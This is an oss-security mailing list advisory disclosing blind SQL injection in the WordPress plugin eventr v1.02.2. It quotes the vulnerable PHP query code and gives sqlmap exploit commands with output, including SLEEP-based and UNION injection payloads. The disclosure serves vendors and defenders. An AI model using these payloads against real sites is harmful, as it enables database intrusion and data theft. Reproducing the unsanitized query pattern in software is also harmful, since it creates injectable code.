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Message-id: <2B1EB846-CCB8-4220-8BA4-DF901A13364F@me.com>
Date: Tue, 30 May 2017 07:35:44 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Blind SQL Injection in Wordpress plugin eventr v1.02.2
Title: Blind SQL Injection in Wordpress plugin eventr v1.02.2
Author: Larry W. Cashdollar, @_larry0
Date: 2017-05-21
CVE-ID:[CVE-2017-1002018][CVE-2017-1002019]
Download Site: https://wordpress.org/plugins/eventr/
Vendor: http://www.binnyva.com/
Vendor Notified: 2017-05-22
Vendor Contact: plugins@...dpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=192
Description: Use this plugin if you want to use your blog an event management tool.
Vulnerability:
The edit form and attendees.php code do not sanitize input to $_REQUSET[event] this allows blind time-based SQL injection by an authenticated user who is able to modify events.
CVE-2017-1002018
In attendees.php:
40 $search = '';
41 if(isset($_REQUEST['search']) and $_REQUEST['search']) $search = "AND A.name LIKE '%$_REQUEST[search]%'";
42
43 $all_attendee = $wpdb->get_results("SELECT A.ID,A.name,A.url,A.email, EA.added_on, A.status FROM `{$wpdb->prefix}eventr_attendee` AS A
44 INNER JOIN `{$wpdb->prefix}eventr_event_attendee` AS EA ON attendee_ID=A.ID
45 WHERE EA.event_ID=$_REQUEST[event] $search ORDER BY A.name LIMIT $offset, $items _per_page");
CVE-2017-1002019
In event_form.php:
5 $action = 'new';
6 if($_REQUEST['action'] == 'edit') $action = 'edit';
7
8 $event = array();
9 if($action == 'edit') {
10 $event = $wpdb->get_row("SELECT name,description,event_date,maximum_attendees,landing_page,status FROM {$wpdb->prefix}eventr_event WHERE ID = $_REQUEST[event]");
11 }
Exploit Code:
• $ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=eventr%2Fattendees.php&event=*' --dbms mysql --level 3 --risk 3 --load-cookies=./cookies.txt
•
• URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
• sqlmap identified the following injection point(s) with a total of 1250 HTTP(s) requests:
• ---
• Parameter: #1* (URI)
• Type: AND/OR time-based blind
• Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
• Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/attendees.php&event=(SELECT * FROM (SELECT(SLEEP(5)))qppS)
•
• Type: UNION query
• Title: Generic UNION query (random number) - 6 columns
• Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/attendees.php&event=-2450 UNION ALL SELECT CONCAT(0x716a7a6a71,0x566d4a744c4353656f664d75435376426a736e4d7056476e4d536a465169736e654b4252777a7161,0x716a766271),9012,9012,9012,9012,9012-- pgAi
• ---
• [20:38:00] [INFO] the back-end DBMS is MySQL
• web server operating system: Linux Ubuntu 16.04 (xenial)
• web application technology: Apache 2.4.18
• back-end DBMS: MySQL >= 5.0.12
• [20:38:00] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
•
• [*] shutting down at 20:38:00
•
• $ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=eventr%2Fevent_form.php&event=*&action=edit' --dbms mysql --level 3 --risk 3 --load-cookies=./cookies.txt
•
• sqlmap identified the following injection point(s) with a total of 1476 HTTP(s) requests:
• ---
• Parameter: #1* (URI)
• Type: AND/OR time-based blind
• Title: MySQL >= 5.0.12 time-based blind - Parameter replace
• Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/event_form.php&event=(CASE WHEN (9111=9111) THEN SLEEP(5) ELSE 9111 END)&action=edit
• ---
• [06:58:46] [INFO] the back-end DBMS is MySQL
• web server operating system: Linux Ubuntu 16.04 (xenial)
• web application technology: Apache 2.4.18
• back-end DBMS: MySQL >= 5.0.12
• [06:58:46] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
•
• [*] shutting down at 06:58:46
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